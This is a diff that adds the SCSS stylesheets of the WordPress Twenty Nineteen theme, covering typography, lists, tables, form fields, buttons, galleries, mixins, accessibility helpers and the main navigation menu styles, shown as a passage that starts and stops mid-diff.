+a:focus {
+	outline: thin;
+	outline-style: dotted;
+	text-decoration: underline;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	margin: $size__spacing-unit 0;
+}
+
+h1:not(.site-title),
+h2 {
+	@include post-section-dash;
+}
+
+hr {
+	background-color: $color__text-light;
+	border: 0;
+	height: 2px;
+}
+
+@import "lists";
+
+img {
+	height: auto;
+	max-width: 100%;
+	position: relative;
+}
+
+figure {
+	margin: 0;
+}
+
+blockquote {
+	border-left: 2px solid $color__link;
+	margin-left: 0;
+	padding: 0 0 0 $size__spacing-unit;
+
+	> p {
+		margin: 0 0 $size__spacing-unit;
+	}
+
+	cite {
+		color: $color__text-light;
+	}
+}
+
+@import "tables";
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/elements/_lists.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/elements/_lists.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/elements/_lists.scss	(revision 56912)
@@ -0,0 +1,33 @@
+ul,
+ol {
+	padding-left: ( 1 * $size__spacing-unit );
+}
+
+ul {
+	list-style: disc;
+
+	ul {
+		list-style-type: circle;
+	}
+}
+
+ol {
+	list-style: decimal;
+}
+
+li {
+	line-height: $font__line-height-body;
+}
+
+li > ul,
+li > ol {
+	padding-left: ( 2 * $size__spacing-unit );
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin: 0 $size__spacing-unit $size__spacing-unit;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/elements/_tables.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/elements/_tables.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/elements/_tables.scss	(revision 56912)
@@ -0,0 +1,13 @@
+table {
+	margin: 0 0 $size__spacing-unit;
+	border-collapse: collapse;
+	width: 100%;
+	font-family: $font__heading;
+
+	td,
+	th {
+		padding: 0.5em;
+		border: 1px solid $color__text-light;
+		word-break: break-all;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/forms/_buttons.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/forms/_buttons.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/forms/_buttons.scss	(revision 56912)
@@ -0,0 +1,37 @@
+.button,
+button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+
+	@include button-transition;
+	background: $color__background-button;
+	border: none;
+	border-radius: 5px;
+	box-sizing: border-box;
+	color: $color__background-body;
+	font-family: $font__heading;
+	font-size: $font__size-sm;
+	font-weight: 700;
+	line-height: $font__line-height-heading;
+	outline: none;
+	padding: ( $size__spacing-unit * .76 ) $size__spacing-unit;
+	text-decoration: none;
+	vertical-align: bottom;
+
+	&:hover {
+		background: $color__background-button-hover;
+		cursor: pointer;
+	}
+
+	&:visited {
+		color: $color__background-body;
+		text-decoration: none;
+	}
+
+	&:focus {
+		background: $color__background-button-hover;
+		outline: thin dotted;
+		outline-offset: -4px;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/forms/_fields.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/forms/_fields.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/forms/_fields.scss	(revision 56912)
@@ -0,0 +1,58 @@
+input[type="text"],
+input[type="email"],
+input[type="url"],
+input[type="password"],
+input[type="search"],
+input[type="number"],
+input[type="tel"],
+input[type="range"],
+input[type="date"],
+input[type="month"],
+input[type="week"],
+input[type="time"],
+input[type="datetime"],
+input[type="datetime-local"],
+input[type="color"],
+textarea {
+	-webkit-backface-visibility: hidden;
+	background: $color__background-input;
+	border: solid 1px $color__border;
+	box-sizing: border-box;
+	outline: none;
+	padding: #{.36 * $size__spacing-unit} #{.66 * $size__spacing-unit};
+	-webkit-appearance: none;
+	outline-offset: 0;
+	border-radius: 0;
+
+	&:focus {
+		border-color: $color__link;
+		outline: thin solid rgba( $color__link, 0.15 );
+		outline-offset: -4px;
+	}
+}
+
+input[type="search"] {
+	&::-webkit-search-decoration {
+		display: none;
+	}
+}
+
+select {
+
+}
+
+textarea {
+	box-sizing: border-box;
+	display: block;
+	width: 100%;
+	max-width: 100%;
+	resize: vertical;
+}
+
+form {
+
+	p {
+		margin: $size__spacing-unit 0;
+	}
+
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/forms/_forms.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/forms/_forms.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/forms/_forms.scss	(revision 56912)
@@ -0,0 +1,3 @@
+@import "buttons";
+
+@import "fields";
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/layout/_layout.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/layout/_layout.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/layout/_layout.scss	(revision 56912)
@@ -0,0 +1,11 @@
+
+/** === Layout === */
+
+#page {
+	width: 100%;
+}
+
+.site-content {
+	overflow: hidden;
+}
+
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/media/_captions.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/media/_captions.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/media/_captions.scss	(revision 56912)
@@ -0,0 +1,32 @@
+.wp-caption {
+	margin-bottom: calc(1.5 * #{$size__spacing-unit});
+
+	&.aligncenter {
+
+		@include media(tablet) {
+			position: relative;
+			left: calc( #{$size__site-tablet-content} / 2 );
+			transform: translateX( -50% );
+		}
+
+		@include media(desktop) {
+			left: calc( #{$size__site-desktop-content} / 2 );
+		}
+	}
+}
+
+.wp-caption img[class*="wp-image-"] {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+.wp-caption-text {
+	color: $color__text-light;
+	font-size: $font__size-xs;
+	font-family: $font__heading;
+ 	line-height: $font__line-height-pre;
+ 	margin: 0;
+ 	padding: ( $size__spacing-unit * .5 );
+	text-align: center;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/media/_galleries.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/media/_galleries.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/media/_galleries.scss	(revision 56912)
@@ -0,0 +1,52 @@
+.gallery {
+	display: flex;
+	flex-flow: row wrap;
+	justify-content: center;
+	margin-bottom: calc(1.5 * #{$size__spacing-unit});
+}
+
+.gallery-item {
+	display: inline-block;
+	margin-right: 16px;
+	margin-bottom: 16px;
+	text-align: center;
+	vertical-align: top;
+	width: 100%;
+
+	// Loops to enumerate the classes for gallery columns.
+	@for $i from 2 through 9 {
+		.gallery-columns-#{$i} & {
+			max-width: calc((100% - 16px * #{ $i - 1 }) / #{ $i });
+
+			&:nth-of-type(#{$i}n+#{$i}) {
+				margin-right: 0;
+			}
+		}
+	}
+
+	&:last-of-type {
+		padding-right: 0;
+	}
+}
+
+.gallery-caption {
+	display: block;
+	font-size: $font__size-xs;
+	font-family: $font__heading;
+	line-height: $font__line-height-pre;
+	margin: 0;
+	padding: ( $size__spacing-unit * .5 );
+}
+
+.gallery-item > div > a {
+	display: block;
+	line-height: 0;
+
+	// Accessibility
+	box-shadow: 0 0 0 0 transparent;
+
+	&:focus {
+		box-shadow: 0 0 0 2px rgba( $color__link, 1 );
+	}
+}
+
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/media/_media.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/media/_media.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/media/_media.scss	(revision 56912)
@@ -0,0 +1,41 @@
+.page-content .wp-smiley,
+.entry-content .wp-smiley,
+.comment-content .wp-smiley {
+	border: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+
+embed,
+iframe,
+object {
+	max-width: 100%;
+}
+
+.custom-logo-link {
+	display: inline-block;
+}
+
+.avatar {
+	border-radius: 100%;
+	display: block;
+	height: calc(2.25 * #{$size__spacing-unit});
+	min-height: inherit;
+	width: calc(2.25 * #{$size__spacing-unit});
+}
+
+svg {
+	transition: fill $icon_transition ease-in-out;
+	fill: currentColor;
+}
+
+/*--------------------------------------------------------------
+## Captions
+--------------------------------------------------------------*/
+@import "captions";
+
+/*--------------------------------------------------------------
+## Galleries
+--------------------------------------------------------------*/
+@import "galleries";
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/mixins/_mixins-master.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/mixins/_mixins-master.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/mixins/_mixins-master.scss	(revision 56912)
@@ -0,0 +1,205 @@
+// Rem output with px fallback
+@mixin font-size($sizeValue: 1) {
+	font-size: ($sizeValue * 16) * 1px;
+	font-size: $sizeValue * 1rem;
+}
+
+// Center block
+@mixin center-block {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+// Clearfix
+@mixin clearfix() {
+	content: "";
+	display: table;
+	table-layout: fixed;
+}
+
+// Clear after (not all clearfix need this also)
+@mixin clearfix-after() {
+	clear: both;
+}
+
+// Column width with margin
+@mixin column-width($numberColumns: 3) {
+	width: map-get($columns, $numberColumns) - (($columns__margin * ($numberColumns - 1)) / $numberColumns);
+}
+
+@mixin filter-duotone {
+
+	&:before {
+		background: $color__link;
+		mix-blend-mode: screen;
+		opacity: 0.1;
+		z-index: 2;
+	}
+
+	&:after {
+		background: $color__link;
+		mix-blend-mode: multiply;
+		opacity: .8;
+		z-index: 3;
+
+		/* Browsers supporting mix-blend-mode don't need opacity < 1 */
+		@supports (mix-blend-mode: multiply) {
+			opacity: 1;
+		}
+	}
+}
+
+@mixin filter-grayscale {
+
+	position: relative;
+	filter: grayscale(100%);
+	z-index: 1;
+
+	&:after {
+		display: block;
+		width: 100%;
+		height: 100%;
+		z-index: 10;
+	}
+}
+
+@mixin post-section-dash {
+
+	&:before {
+		background: $color__text-light;
+		content: "\020";
+		display: block;
+		height: 2px;
+		margin: $size__spacing-unit 0;
+		width: 1em;
+	}
+}
+
+/* If we add the border using a regular CSS border, it won't look good on non-retina devices,
+ * since its edges can look jagged due to lack of antialiasing. In this case, we are several
+ * layers of box-shadow to add the border visually, which will render the border smoother. */
+
+@mixin box-shadow( $size ) {
+	box-shadow:
+		0 0 0 $size $color__text-light inset,         	// Original border.
+		0 0 0 ($size + 1px) $color__text-light inset, 	// Antialiasing, inner edge.
+		0 0 1px 0 rgba( $color__text-light, 0.7 );  	// Antialiasing, outer edge.
+}
+
+/* Fallback for non-latin fonts */
+
+@mixin non-latin-fonts( $wrapper_classname: '.site' ) {
+
+	/* Arabic */
+	html[lang="ar"] #{$wrapper_classname} *,
+	html[lang="ary"] #{$wrapper_classname} *,
+	html[lang="azb"] #{$wrapper_classname} *,
+	html[lang="ckb"] #{$wrapper_classname} *,
+	html[lang="fa-IR"] #{$wrapper_classname} *,
+	html[lang="haz"] #{$wrapper_classname} *,
+	html[lang="ps"] #{$wrapper_classname} * {
+	  font-family: Tahoma, Arial, sans-serif !important;
+	}
+
+	/* Cyrillic */
+	html[lang="be"] #{$wrapper_classname} *,
+	html[lang="bg-BG"] #{$wrapper_classname} *,
+	html[lang="kk"] #{$wrapper_classname} *,
+	html[lang="mk-MK"] #{$wrapper_classname} *,
+	html[lang="mn"] #{$wrapper_classname} *,
+	html[lang="ru-RU"] #{$wrapper_classname} *,
+	html[lang="sah"] #{$wrapper_classname} *,
+	html[lang="sr-RS"] #{$wrapper_classname} *,
+	html[lang="tt-RU"] #{$wrapper_classname} *,
+	html[lang="uk"] #{$wrapper_classname} * {
+	  font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, sans-serif !important;
+	}
+
+	/* Chinese (Hong Kong) */
+	html[lang="zh-HK"] #{$wrapper_classname} * {
+		font-family: -apple-system, BlinkMacSystemFont, 'PingFang HK', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+	}
+
+	/* Chinese (Taiwan) */
+	html[lang="zh-TW"] #{$wrapper_classname} * {
+		font-family: -apple-system, BlinkMacSystemFont, 'PingFang TC', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+	}
+
+	/* Chinese (China) */
+	html[lang="zh-CN"] #{$wrapper_classname} * {
+		font-family: -apple-system, BlinkMacSystemFont, 'PingFang SC', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+	}
+
+	/* Devanagari */
+	html[lang="bn-BD"] #{$wrapper_classname} *,
+	html[lang="hi-IN"] #{$wrapper_classname} *,
+	html[lang="mr"] #{$wrapper_classname} *,
+	html[lang="ne-NP"] #{$wrapper_classname} * {
+	  font-family: Arial, sans-serif !important;
+	}
+
+	/* Greek */
+	html[lang="el"] #{$wrapper_classname} * {
+	  font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif !important;
+	}
+
+	/* Gujarati */
+	html[lang="gu"] #{$wrapper_classname} * {
+	  font-family: Arial, sans-serif !important;
+	}
+
+	/* Hebrew */
+	html[lang="he-IL"] #{$wrapper_classname} * {
+	  font-family: 'Arial Hebrew', Arial, sans-serif !important;
+	}
+
+	/* Japanese */
+	html[lang="ja"] #{$wrapper_classname} * {
+	  font-family: -apple-system, BlinkMacSystemFont, "Hiragino Sans", Meiryo, "Helvetica Neue", sans-serif !important;
+	}
+
+	/* Korean */
+	html[lang="ko-KR"] #{$wrapper_classname} * {
+	  font-family: 'Apple SD Gothic Neo', 'Malgun Gothic', 'Nanum Gothic', Dotum, sans-serif !important;
+	}
+
+	/* Thai */
+	html[lang="th"] #{$wrapper_classname} * {
+	  font-family: 'Sukhumvit Set', 'Helvetica Neue', helvetica, arial, sans-serif !important;
+	}
+
+	/* Vietnamese */
+	html[lang="vi"] #{$wrapper_classname} * {
+	  font-family: 'Libre Franklin', sans-serif !important;
+	}
+}
+
+/* Calculates maximum width for post content */
+@mixin postContentMaxWidth() {
+
+	@include media(tablet) {
+		max-width: $size__site-tablet-content;
+	}
+
+	@include media(desktop) {
+		max-width: $size__site-desktop-content;
+	}
+}
+
+/* Nested sub-menu padding: 10 levels deep */
+@mixin nestedSubMenuPadding() {
+
+	ul {
+		counter-reset: submenu;
+	}
+
+	ul > li > a::before {
+		font-family: $font__body;
+		font-weight: normal;
+		content: "\2013\00a0" counters(submenu, "\2013\00a0", none);
+		counter-increment: submenu
+	}
+}
+
+@import "utilities";
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/mixins/_utilities.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/mixins/_utilities.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/mixins/_utilities.scss	(revision 56912)
@@ -0,0 +1,51 @@
+
+@mixin media( $res ) {
+	@if mobile == $res {
+		@media only screen and (min-width: $mobile_width) {
+			@content;
+		}
+	}
+
+	@if tablet == $res {
+		@media only screen and (min-width: $tablet_width) {
+			@content;
+		}
+	}
+
+	@if desktop == $res {
+		@media only screen and (min-width: $desktop_width) {
+			@content;
+		}
+	}
+
+	@if wide == $res {
+		@media only screen and (min-width: $wide_width) {
+			@content;
+		}
+	}
+}
+
+@mixin link-transition( $attr: color ) {
+	transition: $attr $link_transition ease-in-out;
+}
+
+@mixin button-transition() {
+	transition: background $button_transition ease-in-out;
+}
+
+@mixin button-all-transition() {
+	transition: all $button_transition ease-in-out;
+}
+
+@mixin background-transition() {
+	transition: background $background_transition ease-in-out;
+}
+
+@mixin selection {
+	::-moz-selection {
+		@content;
+	}
+	::selection {
+		@content;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/modules/_accessibility.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/modules/_accessibility.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/modules/_accessibility.scss	(revision 56912)
@@ -0,0 +1,38 @@
+/* Text meant only for screen readers. */
+.screen-reader-text {
+	border: 0;
+	clip: rect(1px, 1px, 1px, 1px);
+	clip-path: inset(50%);
+	height: 1px;
+	margin: -1px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute !important;
+	width: 1px;
+	word-wrap: normal !important; /* Many screen reader and browser combinations announce broken words as they would appear visually. */
+
+	&:focus {
+		background-color: $color__background-screen;
+		border-radius: 3px;
+		box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+		clip: auto !important;
+		clip-path: none;
+		color: $color__text-screen;
+		display: block;
+		@include font-size(0.875);
+		font-weight: bold;
+		height: auto;
+		left: 5px;
+		line-height: normal;
+		padding: 15px 23px 14px;
+		text-decoration: none;
+		top: 5px;
+		width: auto;
+		z-index: 100000; /* Above WP toolbar. */
+	}
+}
+
+/* Do not show the outline on the skip link target. */
+#content[tabindex="-1"]:focus {
+	outline: 0;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/modules/_alignments.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/modules/_alignments.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/modules/_alignments.scss	(revision 56912)
@@ -0,0 +1,28 @@
+.alignleft {
+	/*rtl:ignore*/
+	float: left;
+	/*rtl:ignore*/
+	margin-right: $size__spacing-unit;
+
+	@include media(tablet) {
+		/*rtl:ignore*/
+		margin-right: calc(2 * #{$size__spacing-unit});
+	}
+}
+
+.alignright {
+	/*rtl:ignore*/
+	float: right;
+	/*rtl:ignore*/
+	margin-left: $size__spacing-unit;
+
+	@include media(tablet) {
+		/*rtl:ignore*/
+		margin-left: calc(2 * #{$size__spacing-unit});
+	}
+}
+
+.aligncenter {
+	clear: both;
+	@include center-block;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/modules/_clearings.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/modules/_clearings.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/modules/_clearings.scss	(revision 56912)
@@ -0,0 +1,23 @@
+.clear:before,
+.clear:after,
+.entry-content:before,
+.entry-content:after,
+.comment-content:before,
+.comment-content:after,
+.site-header:before,
+.site-header:after,
+.site-content:before,
+.site-content:after,
+.site-footer:before,
+.site-footer:after {
+	@include clearfix;
+}
+
+.clear:after,
+.entry-content:after,
+.comment-content:after,
+.site-header:after,
+.site-content:after,
+.site-footer:after {
+	@include clearfix-after;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_links.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_links.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_links.scss	(revision 56912)
@@ -0,0 +1,21 @@
+a {
+
+	@include link-transition;
+	color: $color__link;
+
+	&:visited {
+		color: $color__link-visited;
+	}
+
+	&:hover,
+	&:active {
+		color: $color__link-hover;
+		outline: 0;
+		text-decoration: none;
+	}
+
+	&:focus {
+		outline: thin dotted;
+		text-decoration: underline;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_menu-footer-navigation.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_menu-footer-navigation.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_menu-footer-navigation.scss	(revision 56912)
@@ -0,0 +1,22 @@
+/** === Footer menu === */
+
+.footer-navigation {
+
+	display: inline;
+
+	& > div {
+		display: inline;
+	}
+
+	.footer-menu {
+
+		display: inline;
+		padding-left: 0;
+
+		li {
+			display: inline;
+			margin-right: 1rem;
+		}
+	}
+
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_menu-main-navigation.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_menu-main-navigation.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_menu-main-navigation.scss	(revision 56912)
@@ -0,0 +1,505 @@
+/** === Main menu === */
+
+.main-navigation {
+
+	display: block;
+	margin-top: #{0.25 * $size__spacing-unit};
+
+	body.page & {
+		display: block;
+	}
+
+	> div {
+		display: inline;
+	}
+
+	/* Un-style buttons */
+	button {
+		display: inline-block;
+		border: none;
+		padding: 0;
+		margin: 0;
+		font-family: $font__heading;
+		font-weight: 700;
+		line-height: $font__line-height-heading;
+		text-decoration: none;
+		background: transparent;
+		color: inherit;
+		cursor: pointer;
+		transition: background 250ms ease-in-out,
+		            transform 150ms ease;
+		-webkit-appearance: none;
+		-moz-appearance: none;
+
+		&:hover,
+		&:focus {
+			background: transparent;
+		}
+
+		&:focus {
+			outline: 1px solid transparent;
+			outline-offset: -4px;
+		}
+
+		&:active {
+			transform: scale(0.99);
+		}
+	}
+
+	.main-menu {
+
+		display: inline-block;
+		margin: 0;
+		padding: 0;
+
+		> li {
+
+			color: $color__link;
+			display: inline;
+			position: relative;
+
+			> a {
+
+				font-weight: 700;
+				color: $color__link;
+				margin-right: #{0.5 * $size__spacing-unit};
+
+				+ svg {
+					margin-right: #{0.5 * $size__spacing-unit};
+				}
+
+				&:hover,
+				&:hover + svg {
+					color: $color__link-hover;
+				}
+			}
+
+			&.menu-item-has-children {
+
+				display: inline-block;
+				position: inherit;
+
+				@include media(tablet) {
+					position: relative;
+				}
+
+				> a {
+					margin-right: #{0.125 * $size__spacing-unit};
+				}
+
+				& > a,
+				.menu-item-has-children > a {
+
+					&:after {
+						content: "";
+						display: none;
+					}
+				}
+
+				.submenu-expand {
+
+					display: inline-block;
+					margin-right: #{0.25 * $size__spacing-unit};
+
+					/* Priority+ Menu */
+					&.main-menu-more-toggle {
+
+						position: relative;
+						height: 24px;
+						line-height: $font__line-height-heading;
+						width: 24px;
+						padding: 0;
+						margin-left: #{0.5 * $size__spacing-unit};
+
+						svg {
+							height: 24px;
+							width: 24px;
+							top: #{-0.125 * $size__spacing-unit};
+							vertical-align: text-bottom;
+						}
+					}
+
+					.wp-customizer-unloading &,
+					&.is-empty {
+						display: none;
+					}
+
+					svg {
+						position: relative;
+						top: 0.2rem;
+					}
+				}
+			}
+
+			&:last-child > a,
+			&:last-child.menu-item-has-children .submenu-expand {
+				margin-right: 0;
+			}
+		}
+	}
+
+	.sub-menu {
+
+		background-color: $color__link;
+		color: $color__background-body;
+		list-style: none;
+		padding-left: 0;
+
+		position: absolute;
+		opacity: 0;
+		left: -9999px;
+		z-index: 99999;
+
+		@include media(tablet) {
+			width: auto;
+			min-width: -moz-max-content;
+			min-width: -webkit-max-content;
+			min-width: max-content;
+		}
+
+		> li {
+
+			display: block;
+			float: none;
+			position: relative;
+
+			&.menu-item-has-children {
+
+				.submenu-expand {
+					display: inline-block;
+					position: absolute;
+					width: calc( 24px + #{$size__spacing-unit} );
+					right: 0;
+					top: calc( .125 * #{$size__spacing-unit} );
+					bottom: 0;
+					color: white;
+					line-height: 1;
+					padding: calc( .5 * #{$size__spacing-unit} );
+
+					svg {
+						top: 0;
+					}
+				}
+
+				.submenu-expand {
+					margin-right: 0;
+				}
+
+				@include media(tablet) {
+
+					.menu-item-has-children > a {
+
+						&:after {
+							content: "\203a";
+						}
+					}
+				}
+			}
+
+			> a,
+			> .menu-item-link-return {
+
+				color: $color__background-body;
+				display: block;
+				line-height: $font__line-height-heading;
+				text-shadow: none;
+				padding: calc( .5 * #{$size__spacing-unit} ) calc( 24px + #{$size__spacing-unit} ) calc( .5 * #{$size__spacing-unit} ) $size__spacing-unit;
+				white-space: nowrap;
+
+				&:hover,
+				&:focus {
+					background: $color__link-hover;
+
+					&:after {
+						background: $color__link-hover;
+					}
+				}
+			}
+
+			> .menu-item-link-return {
+				width: 100%;
+				font-size: $font__size_base;
+				font-weight: normal;
+				text-align: left;
+			}
+
+			> a:empty {
+				display: none;
+			}
+
+			&.mobile-parent-nav-menu-item {
+
+				display: none;
+				font-size: $font__size-sm;
+				font-weight: normal;
+
+				svg {
+					position: relative;
+					top: 0.2rem;
+					margin-right: calc( .25 * #{$size__spacing-unit} );
+				}
+			}
+		}
+	}
+
+	/*
+	 * Sub-menu styles
+	 *
+	 * :focus-within needs its own selector so other similar
+	 * selectors don’t get ignored if a browser doesn’t recognize it
+	 */
+	.main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu {
+
+		display: block;
+		left: 0;
+		margin-top: 0;
+		opacity: 1;
+		width: auto;
+		min-width: 100%;
+
+
+		/* Non-mobile position */
+		@include media(tablet) {
+			display: block;
+			margin-top: 0;
+			opacity: 1;
+			position: absolute;
+			left: 0;
+			right: auto;
+			top: auto;
+			bottom: auto;
+			height: auto;
+			min-width: -moz-max-content;
+			min-width: -webkit-max-content;
+			min-width: max-content;
+			transform: none;
+		}
+
+		&.hidden-links {
+			left: 0;
+			width: 100%;
+			display: table;
+			position: absolute;
+
+			@include media(tablet) {
+				right: 0;
+				left: auto;
+				display: block;
+				width: max-content;
+			}
+		}
+
+		.submenu-expand {
+			display: none;
+		}
+
+		.sub-menu {
+			display: block;
+			margin-top: inherit;
+			position: relative;
+			width: 100%;
+			left: 0;
+			opacity: 1;
+
+			/* Non-mobile position */
+			@include media(tablet) {
+				float: none;
+				max-width: 100%;
+			}
+		}
+
+		/* Nested sub-menu dashes */
+		.sub-menu {
+			counter-reset: submenu;
+		}
+
+		.sub-menu > li > a::before {
+			font-family: $font__body;
+			font-weight: normal;
+			content: "\2013\00a0" counters(submenu, "\2013\00a0", none);
+			counter-increment: submenu
+		}
+	}
+
+	.main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu,
+	.main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu,
+	.main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu {
+
+		display: block;
+		left: 0;
+		margin-top: 0;
+		opacity: 1;
+		width: auto;
+		min-width: 100%;
+
+
+		/* Non-mobile position */
+		@include media(tablet) {
+			display: block;
+			float: none;
+			margin-top: 0;
+			opacity: 1;
+			position: absolute;
+			left: 0;
+			right: auto;
+			top: auto;
+			bottom: auto;
+			height: auto;
+			min-width: -moz-max-content;
+			min-width: -webkit-max-content;
+			min-width: max-content;
+			transform: none;
+		}
+
+		&.hidden-links {
+			left: 0;
+			width: 100%;
+			display: table;
+			position: absolute;
+
+			@include media(tablet) {
+				right: 0;
+				left: auto;
+				display: table;
+				width: max-content;
+			}
+		}
+
+		.submenu-expand {
+			display: none;
+		}
+
+		.sub-menu {
+			display: block;
+			margin-top: inherit;
+			position: relative;
+			width: 100%;
+			left: 0;
+			opacity: 1;
+
+			/* Non-mobile position */
+			@include media(tablet) {
+				float: none;
+				max-width: 100%;
+			}
+		}
+
+		/* Nested sub-menu dashes */
+		.sub-menu {
+			counter-reset: submenu;
+		}
+
+		.sub-menu > li > a::before {
+			font-family: $font__body;
+			font-weight: normal;
+			content: "\2013\00a0" counters(submenu, "\2013\00a0", none);
+			counter-increment: submenu
+		}
+	}
+
+	/**
+	 * Fade-in animation for top-level submenus
+	 */
+	.main-menu > .menu-item-has-children:not(.off-canvas):hover > .sub-menu {
+		animation: fade_in 0.1s forwards;
+	}
+
+	/**
+	 * Off-canvas touch device styles
+	 */
+	.main-menu .menu-item-has-children.off-canvas .sub-menu {
+
+		.submenu-expand .svg-icon {
+			transform: rotate(270deg);
+		}
+
+		.sub-menu {
+			opacity: 0;
+			position: absolute;
+			z-index: 0;
+			transform: translateX(-100%);
+		}
+
+		li:hover,
+		li:focus,
+		li > a:hover,
+		li > a:focus {
+			background-color: transparent;
+		}
+
+		> li > a,
+		> li > .menu-item-link-return {
+			white-space: inherit;
+		}
+
+		&.expanded-true {
+
+			display: table;
+			margin-top: 0;
+			opacity: 1;
+			padding-left: 0;
+
+			/* Mobile position */
+			left: 0;
+			top: 0;
+			right: 0;
+			bottom: 0;
+			position: fixed;
+			z-index: 100000; /* Make sure appears above mobile admin bar */
+			width: 100vw;
+			height:  100vh;
+			max-width: 100vw;
+			transform: translateX(+100%);
+			animation: slide_in_right 0.3s forwards;
+
+			> .mobile-parent-nav-menu-item {
+				display: block;
+			}
+
+			/* Prevent menu from being blocked by admin bar */
+			.admin-bar & {
+				top: 46px;
+				height: calc( 100vh - 46px );
+
+				.sub-menu.expanded-true {
+					top: 0;
+				}
+
+				/* WP core breakpoint */
+				@media only screen and ( min-width: 782px ) {
+					top: 32px;
+					height: calc( 100vh - 32px );
+
+					.sub-menu.expanded-true {
+						top: 0;
+					}
+				}
+			}
+		}
+	}
+
+	// Hide duplicate menu-more-link when re-loading a menu in the customizer
+	.main-menu-more {
+		&:nth-child(n+3) {
+			display: none;
+		}
+	}
+
+}
+
+/* Menu animation */
+
+@keyframes slide_in_right {
+	100% {
+		transform: translateX(0%);
+	}
+}
+
+@keyframes fade_in {
+	from {
+		opacity: 0;
+	}
+	to {
+		opacity: 1;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_menu-social-navigation.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_menu-social-navigation.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/navigation/_menu-social-navigation.scss	(revision 56912)
